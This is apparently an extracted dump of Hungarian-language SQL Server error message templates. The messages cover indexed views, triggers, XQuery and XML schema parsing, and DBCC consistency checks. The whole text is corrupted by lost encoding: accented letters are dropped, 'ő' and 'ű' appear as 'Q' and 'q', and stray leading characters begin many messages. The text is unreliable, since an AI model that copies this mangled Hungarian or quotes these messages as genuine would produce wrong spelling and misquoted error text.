 A(z)  %1!s!  index ltrehozsa nem trtnt meg, mert az index kulcshossza legalbb %2!s! bjt. Az index kulcshossza nem lehet nagyobb, mint 900 bjt. Ha az index kulcsa implicit kulcsoszlopokat tartalmaz, akkor az index kulcshossza nem lehet nagyobb, mint 1800 bjt.

A mqvelet sikertelen volt. A(z)  %2!s!  indexhez tartoz %1!s! bjt hosszsg bejegyzs tllpi a maximlis %3!s! bjt hosszsgot.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten. A nzet nillesztst tartalmaz a kvetkezQn:  %3!s! .

A(z) %1!s! nem hozhat ltre a(z) %2!s! nzeten. A(z)  %3!s!  fggvny nem determinisztikus eredmnyeket ad. Hasznljon determinisztikus rendszerfggvnyt, vagy mdostsa a felhasznl ltal definilt fggvnyt olyan mdon, hogy determinisztikus eredmnyeket adjon.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten, mert a felhasznl ltal definilt nem determinisztikus  %3!s!  fggvnyt hasznlja. Tvoltsa el a fggvnyre mutat hivatkozst, vagy tegye determinisztikuss.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten, mert a nzet a felhasznl ltal definilt, nem pontos  %3!s!  fggvnyt hasznlja. Fontolja meg a fggvnyre mutat hivatkozs eltvoltst vagy pontos mqkdsqv ttelt.

Egy nzeten vagy szmtott oszlopon nem lehet indexet ltrehozni, mert az adatbzis kompatibilitsi szintje 80 alatti rtkq. Az sp_dbcmptlevel parancs hasznlatval nvelje az adatbzis kompatibilitsi szintjt.

\A(z) %1!s! nem hozhat ltre a(z) %2!s! nzeten. A(z)  %3!s!  rendezsi nevq rgztett rendezsmegad utasts nem determinisztikus, mert az opercis rendszertQl fggQ.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten, mert a nzet ltal a WHERE vagy GROUP BY zradkban hivatkozott  %3!s!  oszlop nem pontos tpus. Fontolja meg az oszlop eltvoltst a nzetbQl, vagy hogy az oszlopot pontos tpusra mdostja.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten. A nzet olyan konvertlst tartalmaz, amely nem pontos vagy nem determinisztikus.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten. A nzet nem pontos llandt tartalmaz.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten. A nzet nem pontos aritmetikai opertort tartalmaz.

A(z) %1!s! nem hozhat ltre a(z) %2!s! nzeten. A nzet nem pontos sszestQ opertort tartalmaz.

Online mdon nem hozhat ltre nzeten j frtztt index.

Nem frtztt index online mdon nem alakthat frtztt indexsz a DROP_EXISTING kapcsol hasznlatval.

A(z)  %1!s!  adatbzisban nem rhetQ el az alaprtelmezett FILESTREAM fjlcsoport.

4A(z)  %1!s!  index nem tilthat le a(z)  %2!s!  tbln. A rendszer megtagadta a(z)  %3!s!  klsQ kulcs letiltst az indexet hasznl  %4!s!  tbln.

dA(z)  %1!s!  frtztt index nem tilthat le a(z)  %2!s!  tbln. A rendszer megtagadta a hivatkoz  %3!s!  nzet mdostst az ahhoz tartoz frtztt index letiltsakor.

A megadott mqvelet nem hajthat vgre a letiltott  %1!s!  indexen a kvetkezQn:  %3!s!  %2!s!.

A megadott mqvelet nem hajthat vgre a kvetkezQn, mert a(z)  %3!s!  frtztt indexe le van tiltva:  %2!s!  %1!s!.

A(z)  %1!s!  index sorhossza meghaladja a maximlisan engedlyezett  %2!s!  bjt hosszsgot.

A(z)  %2!s!  nzeten nem lehet ltrehozni a(z)  %1!s!  indexet vagy statisztikt, mert nem ellenQrizhetQ, hogy a(z)  %3!s!  oszlop pontos s determinisztikus. Fontolja meg, hogy eltvoltja az oszlopot az indexbQl vagy statisztikai kulcsbl, szmtott oszlop esetn megjelli az alaptblban az oszlopot megQrzttknt, vagy hogy nem CLR-szrmaztatott oszlopot hasznl a kulcsban.

A(z)  %2!s!  %1!s! nem hozhat ltre a kvetkezQ tbln:  %3!s! . Csak XML-index hozhat ltre a kvetkezQ XML-oszlopon:  %4!s! .

A(z)  %2!s!  tbla  %1!s!  oszlopa index vagy statisztika kulcsoszlopaknt trtnQ felhasznlshoz rvnytelen tpus.

Az ignore_dup_key indexparamter nem hasznlhat a(z)  %1!s!  mdostsra, mert elsQdleges vagy egyedi megktst rvnyest.

A(z)  %2!s!  tbla  %1!s!  szmtott oszlopn nem hozhat ltre az index, mert a mgttes  %3!s!  objektumnak ms a tulajdonosa.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten, mert a nzet a nem determinisztikus vagy nem pontos  %3!s!  fggvnyt hasznlja a(z)  %4!s!  CLR tpuson. rdemes lehet a fggvnyre mutat hivatkozst eltvoltani, vagy determinisztikus viselkedsre mdostani a fggvnyt. Ne deklarljon nem determinisztikus mdon viselkedQ CLR fggvnyt az IsDeterministic=true tulajdonsggal, mert ez az index srlshez vezethet. Rszletes tjkoztatst az online knyvek tartalmaznak.

A(z) %1!s! nem hozhat ltre a(z) %2!s! nzeten. A(z)  %3!s!  fggvny nem pontos eredmnyeket ad. Hasznljon pontos rendszerfggvnyt, vagy mdostsa a felhasznl ltal definilt fggvnyt olyan mdon, hogy pontos eredmnyeket adjon.

A(z)  %1!s!  index nem hozhat ltre, illetve nem hozhat ltre jra. A vardecimal trolsi formtumot alkalmaz indexre vonatkozan megadott sorhosszsg meghaladja a maximlisan megengedett  %2!s!  bjt hosszsgot.

A(z) %1!s! nem hozhat ltre a(z) %2!s! nzeten. Egy vagy tbb XML adattpus metdust tartalmaz.

Nem vgezhetQ el %1!s! mqvelet a(z)  %3!s!  %2!s! esetn a kvetkezQn:  %5!s!  %4!s!. A hozz tartoz %6!s! le van tiltva.

A(z)  %1!s!  frtztt index nem hozhat ltre jra online mdon, mert le van tiltva.

A(z)  %1!s!  klsQkulcs-megkts nem engedlyezhetQ, mert a hivatkozott kulcson a(z)  %2!s!  index le van tiltva.

Az ignore_dup_key indexparamterrel nem definilhat nzeten index. Tvoltsa el az ignore_dup_key paramtert, s ellenQrizze, hogy a nzet defincija nem engedlyezi az ismtlQdQ elemeket, vagy pedig ne indexelje a nzetet.

XA(z)  %1!s!  frtztt index nem tilthat le a(z)  %2!s!  tbln. A rendszer megtagadta a(z)  %3!s!  klsQ kulcs letiltst az erre a tblra hivatkoz  %4!s!  tbln.

Tblavltozn vagy eredmnytbla defincijn nem particionlhat index tblzat rtkq fggvnyben.

A(z)  %1!s!  nzeten nem hozhat ltre s nem frissthetQ statisztika, mert a FULLSCAN s a NORECOMPUTE paramter egyarnt szksges.

A(z)  %1!s!  elmleti index nem hozhat ltre jra online mdon.

|Az indexet nem sikerlt ltrehozni a(z)  %1!s!  elsQdlegeskulcs-megkts knyszertsvel, a DROP_EXISTING paramter hasznlatval, mert a tblhoz XML- vagy trbeli index tartozik. Dobja el az XML- vagy trbeli indexet, hozza ltre az elsQdlegeskulcs-megktst, s hozza ltre jra az XML- vagy trbeli indexet.

A(z)  %1!s!  XML- vagy trbeli indexet nem sikerlt relcis indexsz alaktani a DROP_EXISTING paramter hasznlatval. Dobja el az XML- vagy trbeli indexet, s hozzon ltre ugyanazon a nven relcis indexet.

A(z)  %2!s!  tbla  %1!s!  oszlopa index tartalmazott oszlopaknt trtnQ felhasznlshoz rvnytelen tpus.

Egynl nagyobb csoportszmmal nem hozhat ltre eljrs replikci cljbl.

8Csoportszmmal rendelkezQ eljrsokhoz nem tartozhat XML vagy CLR tpus paramter. A(z)  %2!s!  eljrs  %1!s!  paramterhez  %3!s!  tpus tartozik.

A(z)  %1!s!  eljrs mr ltre van hozva a kvetkezQ csoportszmmal: %2!s!. Hozzon ltre eljrst nem hasznlt csoportszmmal.

A(z)  %1!s!  tbla nem rhetQ el, jra ltre kell hozni. Vgezze el a tbla ismtelt ltrehozst kapcsolat nlkli mdban.

A(z)  %1!s!  objektum nem eljrs, gy az adott csoportnv alatt nem hozhat ltre mg egy eljrs.

A kvetkezQ mdostsa nem vgezhetQ el, mert az objektum tpusa inkompatibilis:  %1!s! .

Smhoz kttt objektumon bell nem adhatk meg indexmutatk.

Smhoz kttt objektumon bellrQl nem megengedett a tvoli hozzfrs.

0A(z)  %1!s!  entitsra vonatkozan jelentett fggQsgek kztt esetleg nem szerepel minden oszlop hivatkozsa. Ennek oka vagy az, hogy az entits nem ltezQ objektumra hivatkozik, vagy hogy az entitsban tallhat egy vagy tbb utasts hibt tartalmaz. A lekrdezs ismtelt futtatsa elQtt biztostsa, hogy ne legyenek hibk az entitsban, s hogy az entits ltal hivatkozott sszes objektum ltezik.

A hivatkozott  %1!s!  entits mdostva lett a DDL vgrehajtsa sorn. Prblja jbl elvgezni a mqveletet.

A rendszer elemzsi hibkat szlelt a kvetkezQben:  %2!s!  %1!s!. Az ebbQl az objektumbl hivatkozott fggQsgek nem hatrozhatk meg.

LKiszolgli szintq %2!s! elemen nem vgezhetQ el %1!s! mqvelet a(z)  %3!s!  felhasznl szmra, mert nincs a felhasznlnak megfelelQ bejelentkezsi azonost.

PNem vgezhetQ el %1!s! mqvelet a(z)  %3!s!  %2!s! esetn, mert nem tartozik felhasznl a(z)  %4!s!  bejelentkezsi azonosthoz a kvetkezQ adatbzisban:  %5!s! .

Nem vgezhetQ el %1!s! mqvelet a(z)  %2!s!  esemnyindtn, mert a smja eltr a cloldali tbla vagy nzet smjtl.

Nem vgezhetQ el %1!s! mqvelet a(z)  %3!s!  %2!s! esetn, mert nincs hozz megfelelQ engedlye.

Nem vgezhetQ el %1!s! %2!s! mqvelet a(z)  %3!s!  esetn, mert a cl nem a jelenlegi adatbzisban van.

A(z)  %1!s!  esemnyindt nem mdosthat a kvetkezQn:  %2!s! , mert az esemnyindt nem ehhez az objektumhoz tartozik. Adja meg a helyes esemnyindt nevt vagy a helyes clobjektum nevt.

DNem vgezhetQ el %1!s! mqvelet a(z)  %2!s!  esemnyindtn a kvetkezQn:  %4!s!  %3!s!. Ehhez az objektumhoz mr ltezik egy INSTEAD OF %5!s! esemnyindt.

A(z)  %1!s!  esemnyindt nem hozhat ltre a(z)  %2!s!  nzeten, mert a nzet a CHECK OPTION paramterrel van meghatrozva. 

Nem vgezhetQ el %1!s! mqvelet a(z)  %2!s!  INSTEAD OF DELETE vagy INSTEAD OF UPDATE TRIGGER esemnyindtn a kvetkezQ tbln:  %3!s! . Ennek oka az, hogy a tblhoz FOREIGN KEY bellts tartozik kaszkdolt DELETE vagy UPDATE rtkkel.

A(z)  %1!s!  oszlop nem hasznlhat IF UPDATE zradkban, mert szmtott oszlop.

A kiszolgl szintq rtestsek le vannak tiltva, mert az msdb adatbzis nem ltezik.

A(z)  %1!s!  adatbzishoz nem adhat meg CREATE EVENT NOTIFICATION, mert az nem rvnyes szervezQ adatbzis.

$Nem vgezhetQ el %1!s! mqvelet a(z)  %2!s!  INSTEAD OF esemnyindtn ( %4!s!  %3!s!), mert a kvetkezQ FILESTREAM-oszlopot tartalmaz: %5!s!.

0%1!s!Az  anySimpleType  tpusbl korltozs tjn trtnQ szrmaztats nem megengedett, s az  anySimpleType  tpusbl bQvtssel szrmaztatott valamely tpusbl korltozs tjn trtnQ szrmaztats csak abban az esetben megengedett, ha nincsenek megadva rtkkorltozsok.

%1!s!A lekrdezs fordtsa sorn hiba trtnt. A hibval kapcsolatban rszletesebb informci elrshez a lekrdezst olyan felhasznlnak kell futtatnia, aki a lekrdezsben hasznlt XML-smagyqjtemnyen EXECUTE engedlyekkel rendelkezik.

%1!s!Prediktumknt csak a  http://www.w3.org/2001/XMLSchema#decimal? , a  http://www.w3.org/2001/XMLSchema#boolean?  vagy a  node()*  kifejezs megengedett, de a rendszer a kvetkezQt tallta:  %2!s! .

p%1!s!Felttelekben s logikai opertorokban csak a  http://www.w3.org/2001/XMLSchema#boolean?  vagy a  node()*  kifejezs megengedett, de a rendszer a kvetkezQt tallta:  %2!s! .

H%1!s!A vrt kifejezs:  %2!s! .

,%1!s!Az  xml  nvtrelQtag csak a  http://www.w3.org/XML/1998/namespace  URI-cmhez trsthat, s ez az URI-cm nem hasznlhat ms elQtagokkal.

%1!s!Csak nem dokumentum jellegq csompontok szrhatk be. A rendszer a kvetkezQt tallta:  %2!s! .

%1!s!A(z)  %2!s!  kezdetq URI-cm tl hossz. A maximlis megengedett hosszsg %3!s! karakter.

d%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben

%1!s!A heterogn szekvencik nem megengedettek:  %2!s!  s  %3!s!  tallhat

%1!s!Klnll elem (vagy res szekvencia) szksges, ehelyett  %2!s!  tpus operandust tallt a rendszer

%1!s!rvnytelen forrskarakter:  %2!s!  A(z) (0x%3!s!) azonostt tallt a kvetkezQ kzelben:  %4!s! .

<%1!s!A data() fggvny nem bonthat rszekre/nem alkalmazhat olyan kifejezsen, amely a kikvetkeztetett  %3!s!  tpuson bell  %2!s!  tpust tartalmaz

h%1!s!A kvetkezQ tpus nem elemi tpus:  %2!s! 

%1!s!A kvetkezQ attribtum rtke meghaladja az XML-smadokumentumokban megengedett maximlis 4000 karaktert:  %2!s! 

t%1!s!rvnytelen XPath-rtk a kvetkezQben:  %2!s! .

h%1!s! %2!s!  vagy  %3!s!  a rendszer ltal vrt

P%1!s!Nincs  @%2!s!  nevq attribtum

%1!s!Nincs  @%2!s!  nevq attribtum a kvetkezQ tpusban:  %3!s! .

\%1!s!Nincs  @%2!s!:%3!s!  nevq attribtum

%1!s!Nincs  @%2!s!:%3!s!  nevq attribtum a kvetkezQ tpusban:  %4!s! .

%1!s!rvnytelen 0x%2!s! forrskarakter tallhat egy azonostban a kvetkezQ elem kzelben  %3!s! .

%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben, itt azonostnak kellene szerepelnie.

%1!s!Itt szvegkonstans-karakterlncnak kellene szerepelnie.

%1!s!Az  insert  mqvelet cljnak egyetlen csompontnak kell lennie, de a rendszer ehelyett a kvetkezQt tallta:  %2!s! .

%1!s!A(z)  %2!s!  vltozt nem sikerlt megtallni a hivatkozssal megadott hatkrben.

%1!s!A(z)  %2!s!:%3!s!  vltozt nem sikerlt megtallni a hivatkozssal megadott hatkrben.

l%1!s!A kvetkezQ nv nem nvteret jell:  %2!s! .

l%1!s!A kvetkezQ nv mr definilva van:  %2!s! .

|%1!s!A kvetkezQ nv nem definilt tpust jell:  %2!s! .

%1!s!A kvetkezQ nv nem definilt tpust jell:  %2!s!:%3!s! .

l%1!s!A(z)  %2!s!  operandusa rvnytelen tpus.

%1!s!A(z)  %2!s!  opertor nem alkalmazhat  %3!s!  s  %4!s!  operandusokon.

%1!s!Argumentumlista alkalmazsa trtnt egy nem fggvny jellegq kifejezsen.

%1!s!A(z)  %2!s!  fggvny hvsban nem szerepel elg tnyleges argumentum.

%1!s!Ez a kiads nem tmogatja az anyType tpusbl bQvts tjn trtnQ szrmaztatst.

%1!s!A  %2!s!  fggvny hvsban tl sok argumentum szerepel

%1!s!Az  insert into  mqvelet cljnak elem/dokumentum csompontnak kell lennie, de a rendszer ehelyett a kvetkezQt tallta:  %2!s! .

l%1!s!Itt vltoznak kellene szerepelnie:  $name .

d%1!s!Itt tpusmegadsnak kellene szerepelnie.

%1!s!Relatv elrsi t kifejezse krnyezet nlkl szerepel

%1!s!Az rtk  %2!s!  tpus, ez nem a vrt  %3!s!  tpus altpusa.

%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben,  as ,  into ,  before  vagy  after  elemnek kellene szerepelnie.

X%1!s!Az  insert before/after  mqvelet cljnak elem/feldolgozsi elem/megjegyzs/szveg csompontnak kell lennie, de a rendszer ehelyett a kvetkezQt tallta:  %2!s! .

%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben,  node test  elemnek kellene szerepelnie.

%1!s!Attribtum-csompont beszrsakor nem adhat meg a pozci, a rendszer a kvetkezQt tallta:  %2!s! 

D%1!s!Nincs  %2!s!  nevq elem

%1!s!Nincs  %2!s!  nevq elem a kvetkezQ tpusban:  %3!s! .

P%1!s!Nincs  %2!s!:%3!s!  nevq elem

%1!s!Nincs  %2!s!:%3!s!  nevq elem a kvetkezQ tpusban:  %4!s! .

%1!s!Csak a nem dokumentum tpus csompontok trlhetQk, de a rendszer a kvetkezQt tallta:  %2!s! .

%1!s!A kvetkezQ zr kdelemnek kellene szerepelnie:  %2!s!:%3!s! .

%1!s!A kvetkezQ zr kdelemnek kellene szerepelnie:  %2!s! .

%1!s!Nem tartozik megfelelQ kezdQ kdelem a kvetkezQ zr kdelemhez:  /%2!s!:%3!s! 

%1!s!Nem tartozik megfelelQ kezdQ kdelem a kvetkezQ zr kdelemhez:  /%2!s! 

\%1!s!IsmtlQdQ attribtum:  %2!s!:%3!s! 

P%1!s!IsmtlQdQ attribtum:  %2!s! 

8%1!s!A vrt elem:  ?> .

D%1!s!Lezratlan CDATA szakasz

%1!s!Lezratlan karakterlnc-konstans (kezdete: %2!s!. sor)

D%1!s!Lezratlan XML dekarci

%1!s!Ez a kiads nem tmogatja a  QName  tpusbl korltozs tjn trtnQ szrmaztatst.

%1!s!A kdelemek neve nem tartalmazhatja a kvetkezQ karaktert:  %2!s! 

%1!s!A kdelemek neve nem kezdQdhet a kvetkezQ karakterrel:  %2!s! 

%1!s!A nevek/jogkivonatok nem kezdQdhetnek a kvetkezQ karakterrel:  %2!s! 

p%1!s!<!   az elemet nem kvette rvnyes szerkezet

l%1!s!XQuery objektumban nem alkothatk DTD-elemek

P%1!s!rvnytelen entitshivatkozs

%1!s!A(z)  %2!s!  karakter nem lehet entitshivatkozs rsze

|%1!s!A kvetkezQ nvtrelQtag mr definilva van:  %2!s! 

d%1!s!rvnytelen numerikusentits-hivatkozs

T%1!s!Nem tallhat gykrszintq elem.

X%1!s!Amikor egy egyszerq tartalmi tpus vegyes tartalm tpushoz ad meg megktst, egyszerq tpusra vonatkoz defincinak kell lennie begyazva benne. Hely:  %2!s! .

%1!s!A Choice elem nem lehet res, csak akkor, ha a minOccurs rtke 0. Hely:  %2!s! .

%1!s!Az  xml  nem megengedett feldolgozsi utasts cljaknt.

%1!s!A(z) <%2!s!> elem nem rvnyes a kvetkezQ helyen:  %3!s! .

%1!s!A(z)  %2!s!  attribtum nem rvnyes a kvetkezQ helyen:  %3!s! .

%1!s!Hinyzik a kvetkezQ XSD elem ktelezQ  %2!s!  attribtuma:  %3!s! .

%1!s!Hinyzik a kvetkezQ XSD elem ktelezQ  %2!s!  rszeleme:  %3!s! .

p%1!s!A kvetkezQ elem mr definilva van:  %2!s! .

%1!s!A kvetkezQ nv mr definilva van ebben a hatkrben:  %2!s! .

%1!s!Az elem vagy attribtum tpusa egynl tbbszr van definilva. Hely:  %2!s! .

%1!s!A(z)  %2!s!  minQstett nv olyan krnyezetben szerepelt, ahol csak NCName tpus nv hasznlata megengedett.

t%1!s!Nem definilt nvre ( %2!s! ) trtnQ hivatkozs

%1!s!Nem definilt nvre ( %2!s! ) trtnQ hivatkozs a kvetkezQ nvtrben:  %3!s! 

`%1!s!A(z)  %2!s!  rtke nem rvnyes szm.

%1!s!A kvetkezQ attribtum egynl tbbszr van deklarlva:  %2!s! 

%1!s!A(z)  %2!s!  attribtum egynl tbbszr van deklarlva a kvetkezQn bell:  %3!s! 

%1!s!A(z)  %2!s!  attribtum rtke nem felel meg a  http://www.w3.org/2001/XMLSchema#%3!s!  szerinti tpusdefincinak:  %4!s! .

%1!s!A(z)  %2!s!  attribtumhoz nem tartozhat a kvetkezQ rtk:  %3!s! .

%1!s!A(z)  %2!s!  attribtumhoz nem tartozhat negatv rtk.

%1!s!A(z)  %2!s!  attribtumhoz karakterlnc tpus rtknek kellene tartoznia.

%1!s!Hinyzik a ktelezQ  base  attribtum. Hely:  %2!s! .

%1!s!A(z)  %3!s!  XSD-elemen definilt  %2!s!  alaptpus nem egyszerq tpus.

%1!s!Ehhez a tpushoz nem tartozhat  %2!s!  rtkkorltozs. Hely:  %3!s! .

%1!s!IsmtlQdQ rtkkorltozs ( %2!s! ) tallhat a kvetkezQ helyen:  %3!s! .

%1!s!Az attribtumdeklarcikat nem kvethetik rtkkorltozsok. %1!s!rtkkorltozs ( %2!s! ) tallhat a kvetkezQ helyen:  %3!s! .

%1!s!Az elemtpus nem a behelyettestQ csoport fejlcnek alosztlya

%1!s!A(z)  %2!s!  zr kdelem nem egyezik a(z) %4!s!. sorban szereplQ nyit  %3!s!  kdelemmel

%1!s!A(z)  %2!s!:%3!s!  zr kdelem nem egyezik a(z) %5!s!. sorban szereplQ nyit  %4!s!  kdelemmel

%1!s!A(z)  %2!s!  zr kdelem nem egyezik a(z) %5!s!. sorban szereplQ nyit  %3!s!:%4!s!  kdelemmel

%1!s!A(z)  %2!s!:%3!s!  zr kdelem nem egyezik a(z) %6!s!. sorban szereplQ nyit  %4!s!:%5!s!  kdelemmel

t%1!s!A(z) <%2!s!> tartalma vagy defincija hinyzik.

%1!s!A(z)  %2!s!  smanvtr nem egyezik az <include> direktva kvetkezQ elemvel:  %3!s! 

%1!s!A(z)  %2!s!  karakterlnc nem rvnyes idQtartamrtk.

%1!s!Az jradefinilsban sajt magnak alaptpusknt kell szerepelnie. Hely:  %2!s! .

x%1!s!A(z)  %2!s!  nem hasznlhat  empty  operandussal.

\%1!s!rvnytelen forrskarakter: 0x%2!s!

p%1!s!rvnytelen forrskarakter:  %2!s!  (0x%3!s!)

l%1!s!Soremels a karakter/karakterlnc llandban

%1!s!A(z)  %2!s!  nem rvnyes oktlis szmjegy (a  0 -val kezdQdQ szmok implicit mdon oktlisak).

%1!s!A  replace  mqvelet clja legfeljebb egy csompont lehet, de a rendszer ehelyett a kvetkezQt tallta:  %2!s! .

%1!s!A  replace  mqvelet msodik operandusa csak csompontokat tartalmazhat, de a rendszer ehelyett a kvetkezQt tallta:  %2!s! .

%1!s!Vagy memberType attribtumnak, vagy simpleType gyermeknek szerepelnie kell. Hely:  %2!s! .

%1!s!A(z) %2!s!. sorban megkezdett megjegyzsnek nincsen vge

%1!s!Hexadecimlis karakterkdnak kellene szerepelnie a kvetkezQ utn:  \\x .

P%1!s!rvnytelen numerikus lland.

x%1!s!Lezratlan szvegszakasz   hinyzik a kvetkezQ: `

%1!s!A nvtr URI-cmnek legalbb egy szkztQl eltrQ karaktert kell tartalmaznia.

%1!s!Ksrlet a(z)  %2!s!  nvtrelQtag ismtelt definilsra

P%1!s!XML-elem rvnytelen tartalma

%1!s!Itt  first  vagy  last  attribtumnak kellene szerepelnie.

%1!s!Itt  to ,  insert  vagy  delete  attribtumnak kellene szerepelnie.

X%1!s!rvnytelen forrskarakter-kdols

p%1!s!Itt  else  attribtumnak kellene szerepelnie.

%1!s!A  replace value of  mqvelet cljnak nem metaadat jellegq attribtumnak vagy egyszerq tpus tartalommal rendelkezQ elemnek kell lennie, de a rendszer ehelyett a kvetkezQt tallta:  %2!s! .

 %1!s!A dokumentum tpus csompontok csak msik dokumentum tpus csomponttal cserlhetQk le, de a rendszer a kvetkezQt tallta:  %2!s! .

4%1!s!Ez a kiads nem tmogatja a  base  attribtum s egy begyazott tpusdefinci egyszerre val megadsval trtnQ szrmaztatst. Hely:  %2!s! .

%1!s!A(z)  %2!s!  clja nem lehet tbb elembQl ltrehozott csompont.

%1!s!A  name  s a  ref  attribtum nem szerepelhet egytt. Hely:  %2!s! .

%1!s!Az XSD-bQvts vagy -megkts alaptpusnak egyszerq tpusnak kell lennie.

H%1!s!Az XSD-sma tl sszetett

X%1!s!Az XQuery lekrdezs tl sszetett

%1!s!Nem hajthat vgre implicit konverzi  %2!s!  tpusrl  %3!s!  tpusra

%1!s!Nem hajthat vgre explicit konverzi  %2!s!  tpusrl  %3!s!  tpusra

%1!s!A(z)  %2!s!  defincija krkrs hivatkozsokat tartalmaz.

%1!s!Az XSD-lista tpusnak egyszerq tpusnak kell lennie. Hely:  %2!s! .

%1!s!Egyszerq tartalm sszetett tpusban nem szerepelhet elemtartalom. Hely:  %2!s! .

%1!s!Egy megktsen vagy bQvtsen bell nem szerepelhet egynl tbb group/sequence/choice/all rtk. Hely:  %2!s! .

%1!s!Az XQuery kifejezs vgn nem kellene tbb jogkivonatnak szerepelnie. A rendszer a kvetkezQt tallta:  %2!s! .

%1!s!A(z)  %2!s!  csak prediktumon vagy XPath kifejezs megadsn bell hasznlhat

%1!s!A(z)  @%2!s!:%3!s!  metaadat-attribtum nem hasznlhat a kvetkezQvel:  %4!s! 

%1!s!A(z) %2!s! hasznlata nem tmogatott sszelltott XML-tartalommal

%1!s!Csompontot vagy csompontokat kell megadni a kvetkezQhz: %2!s!

%1!s!A(z)  %2!s!  aggregtumfggvny sorozatargumentumot vr

%1!s!Itt egyetlen numerikus tpus operandusnak kellene szerepelnie.

|%1!s!A(z)  %2!s!  kifejezs eredmnye statikusan  empty .

p%1!s!Itt XML-smadokumentumnak kellene szerepelnie.

l%1!s!A megadott nv nem rvnyes XML-nv:  %2!s! 

%1!s!A vegyes tartalom nem megengedett a kvetkezQ helyen:  %2!s! .

%1!s!A minOccurs s maxOccurs rtkek rvnytelen egyttese: a minOccurs rtke nem haladhatja meg a maxOccurs rtket. Hely:  %2!s! .

%1!s!rvnytelen  %2!s!  rtk szerepel a kvetkezQ attribtumhoz: %3!s!. Az rtknek 0 s %4!s! kztt kell lennie.

%1!s!rvnytelen elem-elQforduls   a(z)  %2!s!  elem tbb helyen is megtallhat a(z)  %3!s!  elem krnyezetben.

Prvnytelen clnvtr van megadva.

%1!s!A(z)  %2!s!  rtkkorltozs rtke a megengedett tartomnyon kvlre esik.

%1!s!A  type  s a  ref  attribtum nem szerepelhet egytt. Hely:  %2!s! .

%1!s!rvnytelen elem-elQforduls   a(z)  %2!s!  elemnek elsQknt kell szerepelnie a(z)  %3!s!  elem krnyezetben.

%1!s!A(z)  %2!s!  klnll elemet (vagy res sorozatot) ignyel, ehelyett a rendszer egy  %3!s!  tpus operandust tallt.

%1!s!A legfelsQ szintq %2!s! csompontok nem tmogatottak.

l%1!s!Az XSD-smk jradefinilsa nem tmogatott.

\%1!s!A(z)  %2!s!::  nem rvnyes tengely.

%1!s!Vagy itemType attribtumnak, vagy simpleType gyermeknek szerepelnie kell. Hely:  %2!s! .

H%1!s!Nincs  %2!s!()  fggvny.

T%1!s!Nincs  %2!s!:%3!s!()  fggvny.

h%1!s!Elemen kvl nem jelenhet meg attribtum.

%1!s!Az azonostk nem tartalmazhatnak %2!s! karakternl tbbet.

l%1!s!IsmtlQdQ azonostrtk tallhat:  %2!s! .

%1!s!Attribtumhoz nem tartozhat  %2!s!  tpus rtk, egyszerq tpusnak kellene szerepelnie.

Nem tallhat  %1!s!  nevq tbla vagy objektum. EllenQrizze a rendszerkatalgust.

LA memriban lvQ objektumok listjnak kirsa a memria objektumstruktrjban fellpett pillanatnyi inkonzisztencia miatt sikertelen volt. Prblja meg jra.

A(z)  %1!s!  fizikai fjl nem trlhetQ. A DeleteFile rendszerfggvny a kvetkezQ hibt adta eredmnyl: %2!s!.

A kvetkezQ eszkz nem ltezik:  %1!s! . Az elrhetQ eszkzk megjelentshez hasznlja a sys.backup_devices katalgusnzetet.

A(z)  %2!s!  adatbzisban nem tallhat a kvetkezQ tbla- vagy objektumnv:  %1!s! .

A CONCAT_NULL_YIELDS_NULL paramtert ON rtkre kell lltani a DBCC CHECKCONSTRAINTS mqvelet futtatshoz.

Nem megfelelQ a(z)  %2!s!  objektum (indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s!, tpus: %6!s!) %1!s! szma. Futtassa a DBCC UPDATEUSAGE utastst.

xA DBCC CHECKCONSTRAINTS mqvelet vgrehajtsa belsQ lekrdezsi hiba miatt sikertelen volt. Az adatok konzisztencijnak biztostsa rdekben futtassa a DBCC CHECKDATABASE utastst.

@A DBCC %1!s! hibja: %2!s!.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A kulcsok sorrendje nem megfelelQ a(z) %6!s! jelq lapon (trolhely: %7!s! s %8!s!).

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). IsmtlQdQ kulcsok szerepelnek a(z) %6!s! jelq lapon (trolhely: %7!s!) s a(z) %8!s! jelq lapon (trolhely: %9!s!).

dHiba trtnt egy DBCC PAGE mqveletben: %1!s!.

A(z) %1!s! jelq lap (objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s!, tpus: %6!s!) mdosult, de nincs megjellve mdosultknt a klnbzeti mentshez.

A javts rvnytelenn tette a(z) %1!s! adatbzis klnbzeti trkpt. Megszakadt a klnbzeti biztonsgi mentsi lncolat. Klnbzeti biztonsgi msolat ksztshez elQbb a teljes adatbzisrl kell biztonsgi msolatot kszteni.

@A(z) %1!s! adatbzishoz engedlyezve van a csoportos naplzs. Az sszes adat vdettsgnek biztostshoz futtassa ismtelten a naplmentsi mqveleteket.

Nem tallhat a(z)  %1!s!  adatbzis. Vagy nem ltezik az adatbzis, vagy eldobsra kerlt, mielQtt egy utasts megprblta volna hasznlni. EllenQrizze az adatbzis ltezst a sys.databases katalgusnzet hasznlatval.

Nem tallhat a(z) %1!s! adatbzis. Vagy nem ltezik az adatbzis-azonost, vagy az adatbzis eldobsra kerlt, mielQtt egy utasts megprblta volna hasznlni. EllenQrizze az adatbzis-azonost ltezst a sys.databases katalgusnzet hasznlatval.

A(z) %2!s! tbla %1!s! indexe a(z) %3!s! fjlcsoport rvnytelensge miatt nem dolgozhat fel.

PA(z) %1!s! fjlcsoport rvnytelen.

